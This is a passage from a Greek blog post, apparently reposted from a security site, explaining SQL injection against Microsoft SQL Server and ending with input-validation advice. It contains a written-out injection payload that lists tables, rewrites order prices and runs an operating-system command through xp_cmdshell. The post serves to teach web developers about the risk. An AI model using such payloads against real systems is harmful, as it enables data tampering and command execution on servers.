ίσως...&lt;BR&gt;&lt;BR&gt;Στον Sql server υπάρχει η function xp_cmdshell 'xxx' η οποία εκετελείτε πάντα στη master database που υπάρχει σε κάθε SQL Server.&lt;BR&gt;όπου 'xxx' οποιαδήποτε εντολή command shell η οποία θα εκτελεστεί στον server!!&lt;BR&gt;&lt;BR&gt;Σκεφτείτε λοιπόν να δώσω.....&lt;BR&gt;&lt;B&gt;&lt;FONT color=#0000ff&gt;Parameter_1 = 12 or 1=1 UNION select 1,1,sysobjects.name,1,1,1 from sysobjects where sysobjects.type = 'U'; Update Orders set price = 1 where cust_name='Thiseas'; exec master..xp_cmdshell "dir"--&lt;BR&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;BR&gt;Στην συγκεκριμένη περίπτωση, πέρα από τα "συμφέροντα" Updates"!! κάνω κι ένα.... "dir" στον δίσκο του server.... έτσι για να δω άν έχει τίποτα.... "καλό"!!!&lt;BR&gt;Μετά ... βλέπουμε!!&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;Λοιπόν.... αν αντέξατε να φτάσατε μέχρι εδώ!! μπράβο σας!! χε χε σημαίνει οτι δεν είμουνα τόσο βαρετός όσο φοβόμουνα!&lt;BR&gt;&lt;BR&gt;Οι παραλλαγές είναι ΑΠΕΙΡΕΣ!!!&lt;BR&gt;Αυτή τη στιγμή μου έρχονται στον μυαλό άπειρα σενάρια!!&lt;BR&gt;Ο περιορισμός?&lt;BR&gt;Η φαντασία σας!!&lt;BR&gt;&lt;BR&gt;Πρέπει όμως κάπου να σταματήσω.... &lt;BR&gt;&lt;BR&gt;Θέλω τελειώνοντας να τονίσω οτι ΟΛΑ τα παραπάνω είναι για γνώση και συμόρφωση όσων αναπτύσουν software για web!!&lt;BR&gt;Προσοχή guys!!!&lt;BR&gt;&lt;U&gt;&lt;B&gt;There are real bad persons out there!!&lt;BR&gt;&lt;/B&gt;&lt;/U&gt;&lt;BR&gt;Όλα τα παραπάνω (μα ΟΛΑ)... θα είχανε αποφευχθεί αν ο προγραμματιστής είχε προστατέψει την παράμετρο Parameter_1 ελέγχοντας :&lt;BR&gt;1. Τον τύπο της: π.χ. να είναι μόνο ακέραια. &lt;BR&gt;2. Το μέγεθος της π.χ. να μην είναι πάνω από 10 χαρακτήρες,&lt;BR&gt;3. Το να μην περιέχει περίεργους χαρακτήρες π.χ. 'updates', ';', κλπ κλπ.&lt;BR&gt;Μια τόσο αθώα παράμετρος, μπορεί όσο κι αν φαίνεται περίεργο να προκαλέσει τόση μεγάλη ζημιά!! &lt;BR&gt;Έπρεπε να προσέξει αυτός programmer!!&lt;BR&gt;&lt;BR&gt;Αν δεν άφηνε ανοιχτή αυτήν την μικρή κεκρόπορτα.... η Πόλη ίσως να είχε σωθεί!!&lt;BR&gt;&lt;/P&gt;
&lt;P&gt;&lt;EM&gt;Αναδημοσίευση από το &lt;/EM&gt;&lt;A href="http://www.Secfreaks.gr"&gt;&lt;EM&gt;www.Secfreaks.gr&lt;/EM&gt;&lt;/A&gt;&lt;EM&gt; που το δημοσίευσα για πρώτη φορά.&lt;/EM&gt;&lt;/P&gt;</description></item></channel></rss>